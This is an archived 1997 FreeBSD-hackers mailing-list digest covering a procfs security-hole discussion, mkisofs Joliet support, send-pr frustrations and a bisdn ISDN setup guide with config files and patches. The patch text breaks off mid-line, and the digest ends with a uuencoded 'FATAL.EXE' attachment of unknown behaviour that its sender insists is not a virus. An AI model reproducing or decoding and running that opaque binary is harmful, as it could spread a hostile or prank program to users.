bitbox.follo.net (8.8.5/8.7.3) id RAA05202; Sun, 10 Aug 1997 17:39:40 +0200 (CEST) Date: Sun, 10 Aug 1997 17:39:40 +0200 (CEST) Message-Id: <199708101539.RAA05202@bitbox.follo.net> From: Eivind Eklund To: Alfred Perlstein CC: hackers@FreeBSD.ORG In-reply-to: Alfred Perlstein's message of Sun, 10 Aug 1997 10:19:52 +0000 (GMT) Subject: Re: Fix for the PROCFS security hole! References: Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > I'm not to sure how to do it, but IF the procfs system could be modified > to somehow act like the /dev/tty* system, where the second a user > logs on the device is then owned by them and all other users access is > revoked. This could work that a setuid proc when exec'd, procfs would > automatically change permissions on it so that it is untainable. Possibly. It seems somewhat difficult, though, as when you have a file-descriptor I believe the access is only checked the moment you open the file, not on each access. Thus, you can e.g. drop root privileges after having bound to a privileged port. It might be possible to hack only procfs to actually do that checking, though. Seems the most feasible way to solve this. Eivind. From owner-freebsd-hackers Sun Aug 10 08:45:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA26580 for hackers-outgoing; Sun, 10 Aug 1997 08:45:48 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA26568 for ; Sun, 10 Aug 1997 08:45:44 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id KAA07534; Sun, 10 Aug 1997 10:51:27 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Sun, 10 Aug 1997 10:51:27 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: Eivind Eklund cc: hackers@FreeBSD.ORG Subject: Re: Fix for the PROCFS security hole! In-Reply-To: <199708101539.RAA05202@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Well that seems to be the answer then, however i think that a program running as root should be able to modify it's child processes. I'd love to write it but i'm not sure if i know enough about it... ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' On Sun, 10 Aug 1997, Eivind Eklund wrote: > > > > > > I'm not to sure how to do it, but IF the procfs system could be modified > > to somehow act like the /dev/tty* system, where the second a user > > logs on the device is then owned by them and all other users access is > > revoked. This could work that a setuid proc when exec'd, procfs would > > automatically change permissions on it so that it is untainable. > > Possibly. It seems somewhat difficult, though, as when you have a > file-descriptor I believe the access is only checked the moment you > open the file, not on each access. Thus, you can e.g. drop root > privileges after having bound to a privileged port. > > It might be possible to hack only procfs to actually do that checking, > though. Seems the most feasible way to solve this. > > Eivind. > From owner-freebsd-hackers Sun Aug 10 09:46:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29003 for hackers-outgoing; Sun, 10 Aug 1997 09:46:29 -0700 (PDT) Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.219]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA28997 for ; Sun, 10 Aug 1997 09:46:21 -0700 (PDT) Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14]) by palrel3.hp.com (8.8.5/8.8.5) with ESMTP id JAA17533 for ; Sun, 10 Aug 1997 09:46:20 -0700 (PDT) Received: from mina.sr.hp.com by srmail.sr.hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA074261575; Sun, 10 Aug 1997 09:46:16 -0700 Received: from mina.sr.hp.com by mina.sr.hp.com with SMTP (1.37.109.16/15.5+ECS 3.3) id AA067541575; Sun, 10 Aug 1997 09:46:15 -0700 Message-Id: <199708101646.AA067541575@mina.sr.hp.com> To: freebsd-hackers@FreeBSD.ORG Cc: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Subject: mkisofs & joliet Reply-To: darrylo@sr.hp.com Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Date: Sun, 10 Aug 1997 09:46:15 -0700 From: Darryl Okahata Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Just FYI, Someone's modified mkisofs to support joliet (yay!). It's still very preliminary, though. See copy of posting at the end of this message. I've tried it, and the joliet CDROMs seem to work under Win95, but not under WinNT 4.0 (I've reported this to the author). -- Darryl Okahata Internet: darrylo@sr.hp.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Hewlett-Packard, or of the little green men that have been following him all day. =============================================================================== Subject: mkisofs with Joliet extensions From: jcpearso@ps.ucl.ac.uk Date: 1997/08/04 Message-Id: <870711944.6771@dejanews.com> X-Http-User-Agent: Mozilla/3.01SC-SGI (X11; I; IRIX 6.3 IP32) X-Originating-IP-Addr: 144.82.100.120 () Organization: Photogrammetry & Surveying, UCL X-Authenticated-Sender: jcpearso@ps.ucl.ac.uk X-Article-Creation-Date: Mon Aug 04 16:25:46 1997 GMT Newsgroups: comp.publish.cdrom.software,alt.cd-rom I've added the Joliet extensions to my version of mkisofs that can create hybrid ISO9660/HFS CDs. The Joliet implementation has not been fully tested yet, but if you're interested, then looks at: http://www.ps.ucl.ac.uk/~jcpearso/mkhybrid.html James Pearson +------------------------------------------------------------------------+ Dept. Photogrammetry & Surveying Email: j.pearson@ps.ucl.ac.uk University College London WWW: http://www.ps.ucl.ac.uk Gower Street London WC1E From owner-freebsd-hackers Sun Aug 10 09:48:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29071 for hackers-outgoing; Sun, 10 Aug 1997 09:48:20 -0700 (PDT) Received: from roguetrader.com (brandon@cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29066 for ; Sun, 10 Aug 1997 09:48:16 -0700 (PDT) Received: from localhost (brandon@localhost) by roguetrader.com (8.8.5/8.8.5) with SMTP id KAA02936 for ; Sun, 10 Aug 1997 10:50:27 -0600 (MDT) Date: Sun, 10 Aug 1997 10:50:27 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freeBSD.org Subject: why bother submitting anything (via send-pr) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freeBSD.org X-Loop: FreeBSD.org Precedence: bulk I'm debating with myself why I should bother submitting anything with send-pr anymore. It seems that unless it happens to be a pet project of one of the developers, it will pretty much be ignored and never committed. I have two submissions pending SOME response (even a 'no, we dont want it' would be appreciated)--but nothing. The first is a rewrite of the libcrypt, and the second is 'doconfig' (a wrap of the kernel build process, based off Digital Unix'es doconfig). Its been so long since I've sent these in that I've lost the send-pr id for them (altho I could dig them up again). Basically, what i'm wondering (as a disgruntled person wanting to help but seeming to be ignored) is why isn't there somebody simply responsible for non-developer submissions? So far it seems that the way things work around here is if a developer takes interest in it, it'll move forward, otherwise too bad, mebbe one of the other *BSD systems will like it. Now, to retract a touch, I was in contact with Mark Murray (mark@grondar.za) about the libcrypt rewrite--but I think he had some hardware problems and either lost interest or isn't able to do much at the moment (I havn't had any responses back from him). -Brandon Gillespie From owner-freebsd-hackers Sun Aug 10 09:54:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29364 for hackers-outgoing; Sun, 10 Aug 1997 09:54:25 -0700 (PDT) Received: from ns.ge.com (ns.ge.com [192.35.39.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29355 for ; Sun, 10 Aug 1997 09:54:18 -0700 (PDT) Received: from thomas.ge.com (thomas.ge.com [3.47.28.21]) by ns.ge.com (8.8.6/8.8.6) with ESMTP id MAA12346; Sun, 10 Aug 1997 12:54:15 -0400 (EDT) Received: from burg.is.ge.com (burg.is.ge.com [3.19.120.24]) by thomas.ge.com (8.8.4/8.7.5) with ESMTP id MAA16928; Sun, 10 Aug 1997 12:53:40 -0400 (EDT) Received: (from burg@localhost) by burg.is.ge.com (8.8.6/8.8.6) id SAA29206; Sun, 10 Aug 1997 18:47:07 +0200 (MET DST) Date: Sun, 10 Aug 1997 18:47:07 +0200 (MET DST) Message-Id: <199708101647.SAA29206@burg.is.ge.com> From: Dick van den Burg MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: marc@bowtie.nl Cc: Wolfgang Helbig , peter@grendel.IAEhv.nl (Peter Korsten), hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards In-Reply-To: <199708100859.KAA27622@nietzsche.bowtie.nl> References: <199708091332.PAA00255@helbig.informatik.ba-stuttgart.de> <199708100859.KAA27622@nietzsche.bowtie.nl> X-Mailer: VM 6.22 under 19.15p7 XEmacs Lucid Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This is how I did it ....: $Id: bisdn-howto.txt,v 1.3 1997/07/15 18:46:57 burg Exp $ HOW TO use the bisdn package with FreeBSD. 1. fetch ftp://ftp.muc.ditec.de/isdn/bisdn-097.tar.gz fetch ftp://ftp.muc.ditec.de/isdn/BISDN-ppp-FreeBSD2.2.tgz fetch ftp://ftp.muc.ditec.de/isdn/bisdntest-2.tar.gz Read and follow the instruction in the README in bisdntest-2.tar.gz This will give you a new kernel with support for the ISDN adapter. 2. Read the instruction in Readme.PPP and do only the bisdnd and isdnpppd parts of the instruction. The kernel has already been built in step 1. 10. Configure bisdnd. The following examples are from my setup: I have a local lan (10.228.100.0) and I want to connect (only from my host) to my ISP with dynamic IP addresses and to my place of work where I have a fixed IP address. The entry in /etc/bisdn/bisdnd.cfg for the fixed IP address: ############################################################################ entry # this keyword starts a configuration entry # ========================================= name = WORK # symbolic name for this entry/link # any alphanumeric value, just for identificatio n interface = ippp1 # name of the interface / service # possible entries for interface are: # ipi IP over ISDN, = i/f number # tty login via a tty # answ telephone answering # play telephone playback controller = 0 # controller number to use for outgoing calls # (is configured by the 'isdntype' keyword) isdntype = dss1 # isdn protocol type for this controller # possible values are '1tr6' and 'dss1' telnrem-ldo = 0203334444 # telephone number used to dial out to the # remote site telnrem-rdi = 999 # telephone number used to detect/verify a # remote site calling into the local system # a '*' indicates anyone can call in telnloc-ldo = 070111222 # my own local telephone number used to tell # the remote site who i am when dialing out. # (in case of the 1TR6 protocol this must be # the local systems 'EAZ') telnloc-rdi = 999 # my own local telephone number used to verify # me as a correct destination when i'm called # by a remote site. # (in case of the 1TR6 protocol this must be # the local systems 'EAZ') reaction = reject # what to do when remote site calls in # possible values are: # accept - accept incoming call # reject - reject incoming call # callback - hangup and call back # calledback - after dialing i'm called back # alert - only Juergen knows ... protocol = raw # protocol to use for this link, values: # raw - raw HDLC frames # ui - ui frames # x75 - X.75 encapsulation # t70 - T.70 protocol # t90 - T.90 protocol # iso - ISO 8208 protocol dialretries = 3 # number of retries when dialing out # recoverytime = 5 # time in seconds to wait between dial retries # callbackwait = 5 # time in seconds to wait before attempting # to call back a site which will be called back # by this site idletime-in = 180 # close incoming connection after being idle # this time in seconds idletime-out = 120 # close outgoing connection after being idle # this time in seconds unitlength-dyn = off # calculate the idle time for outgoing # connections dynamically based on the time # between two charging units. possible values # are either 'on' or 'off'. blocksize = 1900 # max number of byte for an isdn block # ratetype = 1 # which rate entry to use from bisdnd.rates changeproc = "|/etc/bisdn/start_ppp_%D %N %I" # ############################################################################ The entry for my ISP: ############################################################################ entry # this keyword starts a configuration entry # ========================================= name = Euronet # symbolic name for this entry/link # any alphanumeric value, just for identificatio n interface = ippp0 # name of the interface / service # possible entries for interface are: # ipi IP over ISDN, = i/f number # tty login via a tty # answ telephone answering # play telephone playback controller = 0 # controller number to use for outgoing calls # (is configured by the 'isdntype' keyword) isdntype = dss1 # isdn protocol type for this controller # possible values are '1tr6' and 'dss1' #telnrem-ldo = 08450798667 # telephone number used to dial out to the telnrem-ldo = 0793600111 # telephone number used to dial out to the # remote site telnrem-rdi = 999 # telephone number used to detect/verify a # remote site calling into the local system # a '*' indicates anyone can call in telnloc-ldo = 070111222 # my own local telephone number used to tell # the remote site who i am when dialing out. # (in case of the 1TR6 protocol this must be # the local systems 'EAZ') telnloc-rdi = 999 # my own local telephone number used to verify # me as a correct destination when i'm called # by a remote site. # (in case of the 1TR6 protocol this must be # the local systems 'EAZ') reaction = reject # what to do when remote site calls in # possible values are: # accept - accept incoming call # reject - reject incoming call # callback - hangup and call back # calledback - after dialing i'm called back # alert - only Juergen knows ... protocol = raw # protocol to use for this link, values: # raw - raw HDLC frames # ui - ui frames # x75 - X.75 encapsulation # t70 - T.70 protocol # t90 - T.90 protocol # iso - ISO 8208 protocol dialretries = 3 # number of retries when dialing out # recoverytime = 5 # time in seconds to wait between dial retries # callbackwait = 5 # time in seconds to wait before attempting # to call back a site which will be called back # by this site idletime-in = 180 # close incoming connection after being idle # this time in seconds idletime-out = 120 # close outgoing connection after being idle # this time in seconds unitlength-dyn = off # calculate the idle time for outgoing # connections dynamically based on the time # between two charging units. possible values # are either 'on' or 'off'. blocksize = 1900 # max number of byte for an isdn block # ratetype = 1 # which rate entry to use from bisdnd.rates # changeproc = "|/etc/bisdn/start_ppp_%D %N %I" # #=========================================================================== ############################################################################ The current bisdnd has some prblems with parsing the changeproc entries and currently does not allow more than one changeproc entry. The following patches are a workaround. You only need those patches when you have more than one destination. diff -r -c -P bisdn/bisdnd/config.c bisdn.old/bisdnd/config.c *** bisdn/bisdnd/config.c Sun Jul 13 21:01:15 1997 --- bisdn.old/bisdnd/config.c Sun Jul 13 19:12:08 1997 *************** *** 232,238 **** else if((!strncmp(buffer, CF_CHANGEPROC, strlen(CF_CHANGEPROC))) && (mode == MODE_ENTRY)) { ! if((handle_eflag(&flags, FL_CHANGEPROC, CF_CHANGEPROC, config_entries, line)) == ERROR) goto config_error; if((optstr(buffer, &conf[config_entries].changeproc[0], 0, line)) == ERROR) goto config_error; --- 232,238 ---- else if((!strncmp(buffer, CF_CHANGEPROC, strlen(CF_CHANGEPROC))) && (mode == MODE_ENTRY)) { ! if((handle_sflag(&sflags, FL_CHANGEPROC, CF_CHANGEPROC, line)) == ERROR) goto config_error; if((optstr(buffer, &conf[config_entries].changeproc[0], 0, line)) == ERROR) goto config_error; *************** *** 784,797 **** ptr++; bptr = dest; ! if (*ptr == '"') { ! *bptr++ = *ptr++; ! while (*ptr && (*ptr != '"')) *bptr++ = *ptr++; ! } ! else ! while (*ptr && (*ptr != '#') && (isprint(*ptr)) && (!isspace(*ptr))) ! *bptr++ = *ptr++; *bptr = '\0'; return(GOOD); } --- 784,793 ---- ptr++; bptr = dest; ! ! while (*ptr && (*ptr != '#') && (isprint(*ptr)) && (!isspace(*ptr))) *bptr++ = *ptr++; ! *bptr = '\0'; return(GOOD); } diff -r -c -P bisdn/bisdnd/mux.c bisdn.old/bisdnd/mux.c *** bisdn/bisdnd/mux.c Sun Jul 13 19:03:25 1997 --- bisdn.old/bisdnd/mux.c Sun Jul 13 19:12:08 1997 *************** *** 326,332 **** for(i=4;i > > and firewalling. > > > > So there is at least some use of bisdn-097 and it should be similar > > in other Eurorpean countries. > > > > > I need PPP to make my ISDN card of use and though the bisdn code > > > may be okay (I can neither confirm nor deny that), installing it > > > is a real pain in the you-know-what and the PPP-hack looks really > > > yuckie to me. > > > > > > I would be very happy with ISDN-card support as a LKM and a PPP > > > daemon that can talk to something else than a serial line. If > > > I could offer help in this, feel free to mail me. > > > > Just grab bisdntest-2 (if you're running FreeBSD 2.2.2), bisdn-097 > > and BISDN-ppp-FreeBSD2.2.tgz from ftp.muc.ditec.de, try to make it > > work, and fix it if it doesn't. I understand that bisdn is rewritten > > by Hellmuth. The next release might hit the disks in about a year. > > For the time being, a tutorial is needed for installing/configuring > > bisdn and ppp. So if you want to help ... > > > > Yeahh, go for it Peter ;) > > (you might even be able to persuade me to help too) > > Marc. > > > ---------------------------------------------------- > Marc van Kempen BowTie Technology > Email: marc@bowtie.nl WWW & Databases > tel. +31 40 2 43 20 65 > fax. +31 40 2 44 21 86 http://www.bowtie.nl > ---------------------------------------------------- > > From owner-freebsd-hackers Sun Aug 10 10:23:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00965 for hackers-outgoing; Sun, 10 Aug 1997 10:23:13 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA00955 for ; Sun, 10 Aug 1997 10:23:10 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id NAA01600; Sun, 10 Aug 1997 13:23:40 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id NAA18103; Sun, 10 Aug 1997 13:23:56 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Sun, 10 Aug 1997 13:23:55 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Brandon Gillespie cc: freebsd-hackers@FreeBSD.ORG Subject: Re: why bother submitting anything (via send-pr) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Brandon Gillespie wrote: > I'm debating with myself why I should bother submitting anything with > send-pr anymore. It seems that unless it happens to be a pet project of > one of the developers, it will pretty much be ignored and never committed. It might help to Cc the original pr to the person who (should) be responsible. Any reason for a follow-up can also remind someone of the pr, too. :-) -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sun Aug 10 10:30:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA01537 for hackers-outgoing; Sun, 10 Aug 1997 10:30:44 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA01529 for ; Sun, 10 Aug 1997 10:30:42 -0700 (PDT) Received: from pf1.phil.uni-sb.de (root@pf1.phil.uni-sb.de [134.96.82.11]) by freefall.freebsd.org (8.8.6/8.8.5) with ESMTP id KAA08749 for ; Sun, 10 Aug 1997 10:29:55 -0700 (PDT) Received: from relay4.UU.NET (relay4.UU.NET [192.48.96.14]) by pf1.phil.uni-sb.de (8.8.5/8.8.5/961001chris) with ESMTP id TAA16261 for ; Sun, 10 Aug 1997 19:27:57 +0200 (MET DST) Received: from ngeout01.news.aol.com by relay4.UU.NET with SMTP (peer crosschecked as: ngeout01.news.aol.com [152.163.176.244]) id QQdcag24727; Sun, 10 Aug 1997 13:30:30 -0400 (EDT) Received: from ladder01.news.aol.com (ladder01.news-fddi.aol.com [172.16.30.168]) by ngeout01.news.aol.com (8.6.12/8.6.12) with ESMTP id NAA12659 for ; Sun, 10 Aug 1997 13:30:29 -0400 Date: Sun, 10 Aug 1997 13:30:29 -0400 To: Message-Id: <19970810173001.NAA07974@ladder01.news.aol.com> Newsgroups: saar.lists.freebsd-hackers From: dave8p@aol.com (DaVe 8 P) Organization: AOL http://www.aol.com Subject: Programming Assistance Needed Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I need help on how to program a file similar to the one I attached to this message. No it is not a virus or anything I really need help. I want to know what tools I can use to make something like this...for example the file display "FATAL" all over the screen I want it to say BOO for an example....so what tools would I need to do something like this...please mail me back..I will appreciate all help thank you --------------------------------------------------------- begin 644 FATAL.EXE M35KC`0\``0`&`.L(___?`0`"`````?#_4@````P14$M,251%($-O<'(N(#$Y M.3`M.3$@4$M705)%($EN8RX@06QL(%)I9VAT23]C-M3@\,N`]J,S8O"@.0/ ML02+\M/FB\[1Z4Y.B_XKZ"O8CL6.V_.E_([=!P:_``$S]JV5NA``ZR^0K96R M$.LXK96R$.LYK96R$.L^K96R$.M@K96R$.MAK96R$.MBK96R$'(+K#+"JM'M M2G3Q<_4SR3/;T>U*=,+1T]'M2G3!T=.%VW07T>U*=+S1TX#[!G(+T>U*=02M ME;(0T=,NBH]F`8#Y"G1T,]N#^0)T*M'M2G2:ZX'1[4IU!*V5LA#1 MTX#["'+;T>U*=02ME;(0T=.`^Q=RR]'M2G4$K96R$-'3@>/?`(;?Z[VL`LB` MU0`\_W6"6XOK@\,0B]..PJU`=!%(=/>1K94`IM9]`WK#5+[9`"E@.(0V`WM%8SPB`8. MI`,.+*%`?><9,0!*"FH^_]\(^H``*&[SIPUYGL/+``?.!XD`1=G,6X3IL<(* M@A_M0%&2!07B!`$$!N^9)R$;D(\`%,B$>`>'10P@^4:^C_90`/:$4`$-$U$. M+-Y!_HA%%=NIBN46E(B@4,'\JH35#@OD[AM%43_1PPY@-,1V0M_SVEDUX(C2 M20`'`0?PQN$&!_F\`8`$X('(*X:.9_,32O_1Z;@!P.=]*BB->P`UB$0%2NT+ M",B#V+^,*2D`0@Z?S#EP2P?[)(D4-D7PC<@.?:]G+U"*$0]D#62I;WIJR<(D MM>1,]2<"5`N*$!B0%AJ4P_9,`@!)9_,CB;5_3'MQ+,1'@!?MZH.SWO4<7AF# MQ@`49T406F8)8"&28`$PC"HE;ML<#$4,ZMW63`(^2C[KI=X@/A`OT@0I2X$" M(.[>&M3LPN("H@#SM*OFQ(Q"T8(_L*OC0@9^,!L/2E$7WS$&>B@&``OQ2?B. M>OV(0DI)Q%_;@0Q-.44I$S);JC)5^54)G1P3+';;_S51%A%'#W`4504+?0L$ M$70$:9K6"PH7#TYL#/P,"7$9*@X$8Q0^BZO_M23@3<08``)#K_@?LX/LU$',5 M=ATO$@-G2=`"%XH7%`#*CLS>@O+LU#D?<05T``#JH_,LR)U M`'`2HT4_X4KYHH/,3^6NL!(\:>`**H!,5@.7M!`+_?#]#\%26$T'"`!4X_-Q M=:_E1^(,^``&,(/:&`KLX0$8\'8SI.H84B`&K1OP(`T$``%0"TZ&](NW`@@& MT`$ M#PD09@]S1+$;!\L5PZ@#.BDJF&6O`XI`P0(;YKCWBC0.^@1VY9YT$1.E_0(L M>4J;'Y;#NA(!+(P/'W01?:!+F__?[0W[`!^-QQ(W^RX9)QT('-%">J@S'00C M+[,"4.8(BR]T`!,=`@]]@.0$#Q!+V#?`.` M#19O^^NZ^ZE,_>_]N4G=G_8%2>\S_64L!!%$['4K4T+C0LY"\L/6`F`SZ_MO M`$0$#T(WRP%"]4)_`$+O.08-K0$*D+$%2D$_1`L"[:W_:&=6`!-,6R($;5`0 M'(7[[NO]!P!J[=A(C17B3`44J`<"RGT:PS@(C8J[T$]G.\D9-J`)%,N!P(C' M`E0N2S5F6R%*6(KY'SG!D@5R8*C8B6*;!JT#&/E@%QCS<4&OVQ@&H)<8PHG5 M`LZ)@8\""%=L*I#A$I&,SH[>`(`BSNX%/=D)R!O4`Z4$@-`!`CDH"U,L@0TA M1":-LR%L=`D4B9O?1\X.T4O:C!4&KM5?`IB@!5`6D[28#090G!\,3.$*>@@? M"5BZD:S^0/VL@@X%!:`Z!65$"+@'O,('[1$(`K"PP`OKC-64RVV6>P>*=F&Q M=^!2H#+^"+>$XR6BH"AWEY=N!F"_C5M@`N:P#CF67PV$);V@VY`HKP!'ET(. MG8$+!60Y0EQ>+,X'<4HO5U-3'&L%7==`#4:(`T9PH8`61O$[[$8$V$CLG_6@ M5!3K"BF$.`0!)"1D!X\'80ER#A;VJA3(K`7=]B7&)`#HCS#%?`OO-O[@8SX` M-I!D!1!^"^XL^OH!#=\0P`0-0!``"H=[^@1U#T='`!#R1O4`#8Y&_<`%.N0K M4T+65CA6T?J[`"B$/;8.3QC#<&2U7#KU8P!(B@WFK/6_"+X(L0BW'@#JH(_H M+,4ZRI,>!M`%``&VLPN'THL`O4DP[^F$`S4=YD?!`1`"L`"`%-SF@=X(R*J" M2J6)20`$A5)*!X(#GP.>(2D#J4&%+R"D<((`LZ\6K4O3!(\,K8`"7;!T7;(R M"+`\E/\LK0``I#K#+(46ADP*A,$!YNP<#RA%#[4"#)7%M;7AT&2`#?M]X-*^,$OLT$ M6EGJ@`47M_$-/\(YTAH``.NLO$"'R@'*?#JGE4D(PG44"3^!SOH9"`H8*<(` M"F<8^=4Q"QIZ&+T2]>,`%!/.?`HJ,`P!"'4`(Q4``!#DWX;$A\DB%K]+AN\3 MBP\`(:1"AQ.Z1LX7IJD4@D\8HJ4+H@4*H`.W1[%F!N`$4@OEVP/D,2P:^`DA M`P0@,%0K$\D>*D!14_NK4`X"`*I0>R>V0`GB(PBFIE"J.`ZV5PP9#`!5%^9- M#+LPX5T+E#(FYSL7:1<#*2@CND$_)HT!#[T`$A;G-@U/X/G*N6,:LPN"@/@- MA37B\_4',E$$14)4@<[*6`3K`P&*"EV]#]CAX`0))@X"H!PP,7@+#`",U;`% M``!(S0T.$"LJ+#,S,S,[.SL``"LS,S,S?EA\9G-O:&$C9W.``F)@?"T,*VM] M!2H."`%5`$`.&&AH=B1`;7%0`&E]9VID&"]E+"0R.SF@`",C-S\L21]J9&IG M5XH4"/R$2)G)"%IT!@`GOK7'"^-Y]A7%P%1>!X+.Y'H+&@(*`!K#&ESW@]LP MP7L'_J!0.(I"I:R0!,T"!4%1$BC),8(T%8D")4D5"*D(HD@<``"K\PSF.XK( M"1CL`P9`!W#T```36PC(.(?1,M=R]L:_'P'J"A0+-!%]!'H"/1URR@\6A`6! M(.7!H("BCD*%&ZQ&(0]6'Q6`HE8K`@P5@3<(P340`E[QWA,KP8G+@#"0[OZ. M[@0)R$5!@-L=?Z3`5>Q\`[X$E8#5A#R#8Z-W-9(S]6!`%LY28] M0`!TX0>@8$=<7RN'!@-;!W`PDH`+0`@,`2W-']F!X((J4LL(W`U;5@`%-`"% M]8+)+(8-`T8`)ZDFF26")5E>5047"CX-`5I;0;KH^)'$`3,Z!(JW?@-]+#,! MPW4>`L)JA_*$RJN=JPIFAS)*BU0%)A(Q6_47HDH\_C:@)LD,-0EUL7&RHI`` M#>#WAG0=:R9I0 M2);L&`6)N4&4&UL8:`%7(_X#7\*ZOI)H" MI6XWR`C(\>!&NYVE4A/(W,<&!8$)F-W=T=OC`B8*`4`0T[4]WX?7%"8*-R@H MU7@*\?VCO[;2!&2!D`^E"P&(07>IC:1,%$P"!)44``JI`0[^I[)%"0/5?ZX[ M@!#8>0J'Q.@"I4``#A.E[/4^RZ`6P@^"@78'.H!-#0"44@@*"`L("JJ<"`-$ M!@`H"@7$!PRQN][C#[RW!0A2$[6]VMK!>E`H+(1+#S$7CG..2Y!54W;N"QNI`H. M3XEZ!$X9F:8(40],9H)"(!1;L1TW$0-:HJJ[`;<7"XQ7(0!`9P(C^QH@%.L( MC5T&!PK3(\_'5`(!,#7,(H1/ M"2E1,DLR`2[%[!Y4MVLM#R74I(,3`+T`9Q6-]@A]#+TV&@X%&0)2!0G3*)1D M"N9$;3BS-AH]*I95>'HB%P"'!24(-/GY(CD'=0"`%[;Q\OZEX?V+P`6.\[H" M``(`#)W]VA<.&,)[#/^HD`@EXZL14%(AHH#1.ZU4D;J%QCE3B]YG M2:(:%@\>**`6.85"'C+&<`>.PKM+`"0')"`.$I8H!89L!0`HU<)U"K$&!@;U M*,-S9BD#3SH2>/8*`MDT/PR"R>S8]`"EA<5!#P8#?PU`MZAO:@M&, MS$SWI78/J&+.S$`!@DK@[''N`$LI1X$W%BIR!XJOF6V()"1!83;'V:6>O`D$%R&L=R@6"@IZ,X`L(BI0%?@?& M$D'!S)U!W)S^0ASDYX8$`;,*-$`J?P.]#O0/"[8+ M``02NS*-<3L*?0&*4P&LN7Q7A0ZR&@Z]E7BB82TJCQX4F#E*'/_*A[YMH[`; MFW`0(\,_/RX$NT$;`C&SL=6(`!15&X=8&H)'$8%:'!$=2BZ8"044'Z&213_9 M)T\`0P*43R&+"HK2!W69P5`Q],)F4O)F%XB1ZA`8M@/3P0)C8E8_VW8A"4"0 M%!%^"DOL]([7*-+(/4A&AX!/IL:%]`*!@*#W#)F`V(+3*9WN=SLVMG8VFOQZ_TI`1"_\H#S4(_I,=8*`)'M M+(S9"M84]8[+@\P;`!"S6`/L<@(.WW-[EE)24E=2`$!`A.(^Q8%,"/YA`8[TB/L(`%Q/"/!@ M#0?S$?NIW`,,"0P`-F`,_AH#"_\5WQ?R>\T:!0P")M,N#/,:)K#UR!S\'O4: M#@$,`I`8RAC=BLP+E5Q93O#C".-!AN^$A`$`-WD*V=U'\\%#=PE`1%&%SS_Y MV^<<$+B;UX7=SP-S#__O]P"(!\\FVA#Y6K<$OQF$#^5\#CS8@(#%@^5=Q*$!*=@M?$5+$\,.$=P5$@`)\$_/&/L)W#\2K MD@8PW77``("F!==X/H#G`]5_`O/9]=E@Q<<3'`&^A0Z&%%##OY[R?`R!]+6, M%`H0=P:%"M,4*/H+!`']=PTEQ9:UHRC*"()B5(33@H7](W%3`D4%''D#@_2? M,-`91(8=D0F)^M#%D^B/BQB-W];:K(*-1PX&_!A,<\4*/R^?"D7U"D033NX*-J%[3FR8F"+K/=;6AW`\`,GF`X3JA]&P M]O?GZ.UY">EXMR=#[^D"\4@`7][1ZOTDT2;:(>?*1`JI)R#O5%%3 M7>X6^,@,9T2)Y0`30(">-K)W0-@!2H];_HI4_9!@D,Z.W?4%C<1KA#?C[2`R@5_),X.GX0H$[#N39],/M MJ?Z>:VO`31-,@EH`*U` 